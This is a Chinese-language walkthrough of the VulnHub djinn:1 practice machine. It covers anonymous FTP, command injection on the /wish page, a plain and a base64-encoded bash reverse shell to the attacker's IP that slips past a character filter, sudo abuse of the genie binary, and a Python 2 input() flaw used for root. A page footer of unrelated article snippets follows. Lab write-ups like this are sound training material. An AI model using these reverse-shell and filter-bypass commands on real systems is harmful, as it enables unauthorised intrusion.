vulnhub靶机djinn:1渗透笔记
djinn:1渗透笔记
靶机下载地址:https://www.vulnhub.com/entry/djinn-1,397/
信息收集
首先我们嘚确保一点,kali机和靶机处于同一网段,查看kali ip地址
当打开这台靶机的时候我们就知道ip地址
由于我们已经确定了靶机的ip所以我们直接扫描开放端口
nmap -A -p- 192.168.20.145
首先我们去访问一下21端口的ftp服务,发现可以匿名登录。根目录有三个txt文本文件我们依次打开查看
creds.txt
nitu:81299
game.txt
oh and I forgot to tell you I've setup a game for you on port 1337. See if you can reach to the
final level and get the prize.
message.txt
@nitish81299 I am going on holidays for few days, please take care of all the work.
And don't mess up anything.
我们可以发现在game.txt中提示,1337端口上设置了一个游戏,打开浏览器查看发现被重置,那我们尝试telnet上去看看
需要我们回答1000次问题估计要写个脚本我们先暂时放一边
端口扫描还发现7331端口并且运行着http服务,访问一下看看有什么收获。查看后没有什么发现。
还是没有什么发现
目录扫描
这里我没有比较合适的字典就借用师傅的一张图
经过扫描发现了两个目录一个/wish一个/genie两个目录,依次访问
这个目录我们好像没有权限
我们继续访问/wish这个目录
有点像是命令执行
在输入框输入"id",页面跳转到了"/genie",并成功执行了命令
漏洞利用
我们直接向kali反弹一个shell,在输入框中输入反弹shell的命令,并在kali端进行监听
bash -i >& /dev/tcp/192.168.20.130/1234 0>&1
nc -lvvp 1234
但是报出了错误信息,推测过滤了一些字符,使用bp抓包测试看看
下面这样是可以的
但这样就不行了
看来确实拦截了一些字符,经过多次尝试发现echo指令可以执行
那我试试把反弹shell base64编码一下再尝试执行
kali先监听1234口
nc -lvvp 1234
输入框内输入
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwLjEzMC8xMjM0IDA+JjE= | base64 -d | bash
成功监听
获得交互式提示符
python -c "import pty;pty.spawn('/bin/bash')"
读取flag
读取/etc/passwd发现有sam和nitish两个用户,并且在/home/nitish下发现了user.txt,但是www-data没有权限读取;sam的用户目录也是没有权限查看的。接着回到/opt/80目录下,看一下这个目录下面的文件
在/opt/80目录下发现了一个app.py文件,查看一下文件内容发现了有点东西,这个txt我们去看看是啥
好像是用户名密码我们去登录
然后我们查看/home/nitish下的user.txt即可
权限提升
查看一下sudo的权限命令,发现有一个无需密码即可执行的命令
查看一下genie的用法
man genie
发现-p参数
和-cmd参数
发现-p不行但是使用-cmd成功拿到sam的shell
sudo -u sam /usr/bin/genie -cmd whoami
再次执行sudo -l
接下来有点懵了,实在没办法找一下可写的文件
find / -writable -type f 2>/dev/null
使用scp将.pyc文件下到kali中,然后进行反编译网址如下
https://tool.lu/pyc/
scp /home/sam/.pyc root@192.168.20.130:/root
得到源码如下
#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
from getpass import getuser
from os import system
from random import randint
def naughtyboi():
print 'Working on it!! '
def guessit():
num = randint(1, 101)
print 'Choose a number between 1 to 100: '
s = input('Enter your number: ')
if s == num:
system('/bin/sh')
else:
print 'Better Luck next time'
def readfiles():
user = getuser()
path = input('Enter the full of the file to read: ')
print 'User %s is not allowed to read %s' % (user, path)
def options():
print 'What do you want to do ?'
print '1 - Be naughty'
print '2 - Guess the number'
print '3 - Read some damn files'
print '4 - Work'
choice = int(input('Enter your choice: '))
return choice
def main(op):
if op == 1:
naughtyboi()
elif op == 2:
guessit()
elif op == 3:
readfiles()
elif op == 4:
print 'work your ass off!!'
else:
print 'Do something better with your life'
if __name__ == '__main__':
main(options())
仔细审计一下发现这里有input函数,发现为python2的版本。搜一下python input()vulnerability,看看input函数漏洞,参考文章
https://www.geeksforgeeks.org/vulnerability-input-function-python-2-x/
根据这个漏洞,可以把变量名当成变量的内容来解析,我们可以直接在Guess the number中输入"num"利用此漏洞即可。到这时候我们已经获得root权限
vulnhub靶机djinn:1渗透笔记的更多相关文章
- vulnhub靶机Tr0ll:1渗透笔记
Tr0ll:1渗透笔记 靶场下载地址:https://www.vulnhub.com/entry/tr0ll-1,100/ kali ip:192.168.20.128 靶机和kali位于同一网段 信 ...
- vulnhub mrRobot渗透笔记
mrRobot渗透笔记 靶机下载地址:https://www.vulnhub.com/entry/mr-robot-1,151/ kali ip 信息收集 首先依旧时使用nmap扫描靶机的ip地址 n ...
- vulnhub DC:1渗透笔记
DC:1渗透笔记 靶机下载地址:https://www.vulnhub.com/entry/dc-1,292/ kali ip地址 信息收集 首先扫描一下靶机ip地址 nmap -sP 192.168 ...
- vulnhub devguru渗透笔记
devguru渗透笔记 信息收集 kali ip 目标ip 首先我们扫描一下开放端口 nmap -A -p- 192.168.20.143 Starting Nmap 7.91 ( https://n ...
- vulnhub靶机Os-hackNos-1
vulnhub靶机Os-hackNos-1 信息搜集 nmap -sP 192.168.114.0/24 找到开放机器192.168.114.140这台机器,再对这台靶机进行端口扫描. 这里对他的端口 ...
- vulnhub靶机-Me and My Girlfriend: 1
vulnhub靶机实战 1.靶机地址:https://www.vulnhub.com/entry/me-and-my-girlfriend-1,409/ 2.先看描述(要求) 通过这个我们可以知道我们 ...
- vulnhub 靶机 Kioptrix Level 1渗透笔记
靶机下载地址:https://www.vulnhub.com/entry/kioptrix-level-1-1,22/ kali ip 信息收集 先使用nmap收集目标的ip地址 nmap -sP 1 ...
- Vulnhub 靶机 pwnlab_init 渗透——详细教程
1. 下载 pwnlab_ini 靶机的 .ova 文件并导入 VMware: pwnlab下载地址:PwnLab: init ~ VulnHub 导入VMware时遇到VMware上虚机太多,无法确 ...
- Vulnhub靶机渗透 -- DC5
信息收集 通过nmap搜索到IP为:192.168.200.11 开启了80http.111RPC服务端口 先打开网页,然后进行目录爆破 contact.php 攻击 经搜索没有发现可以攻击wheel ...
随机推荐
- starter
传统的 Spring 项目想要运行,不仅需要导入各种依赖,还要对各种 XML 配置文件进行配置,十分繁琐,但 Spring Boot 项目在创建完成后,即使不编写任何代码,不进行任何配置也能够直接运行 ...
- WebSocket长连接
WebSocket长连接 1.概述 1.1 定义 1.2 原理 2.Django中配置WebSocket 2.1安装第三方法包 pip install channels 2.2 Django 中的配置 ...
- JZ-061-序列化二叉树
序列化二叉树 题目描述 请实现两个函数,分别用来序列化和反序列化二叉树. 二叉树的序列化是指:把一棵二叉树按照某种遍历方式的结果以某种格式保存为字符串,从而使得内存中建立起来的二叉树可以持久保存. 序 ...
- Golang开源流媒体服务器(RTMP/RTSP/HLS/FLV等协议)
一. lal 简介 lal是开源直播流媒体网络传输项目,主要由三部分组成: lalserver:流媒体转发服务器.类似于nginx-rtmp-module等服务,但支持更多的协议,提供更丰富的功能. ...
- gitee 的使用
Git安装教程(windows) Git是当今最流行的版本控制软件,它包含了许多高级工具,这里小编就讲一下Git的安装. 下载地址:https://git-scm.com/downloads 首先 ...
- PHP动态修改配置文件
文件结构: index.php 主页 config 配置文件 doUpdate.php 修改功能页 index.php <html> <head> <title>修 ...
- 微信公众号客服接口:out of response count limit 的原因
调用客服消息接口返回如下: ...
- LGP7580题解
设: \[g(x)=\prod_{i=1}^{k_i}\binom {m} {c_{d,i}+m} \] 那么很明显有: \[f= a * g \] 再看一眼 \(g\),我们发现 \(g\) 是积性 ...
- kafka 第一次小整理(草稿篇)————整理一下自己的认知
前言 简单整理一些自己使用kafka的一些感受. 正文 一切都要回到真实的世界上, 计算机世界只是真实事件的一个缩影. 计算机世界有一个重要的东西,那就是数据库. 数据库记录着真实世界发生了什么,准确 ...
- docker 部署mysql tomcat时 在root@localhost~下——-——docker exec -it 容器名 /bin/bash 报错
在docker部署mysql时 报错 找不到 容器不自动启动 , docker start 容器名 也没有效果 多次尝试发现 原因是创建容器时在 下面创建的 更改为下创建 问题解决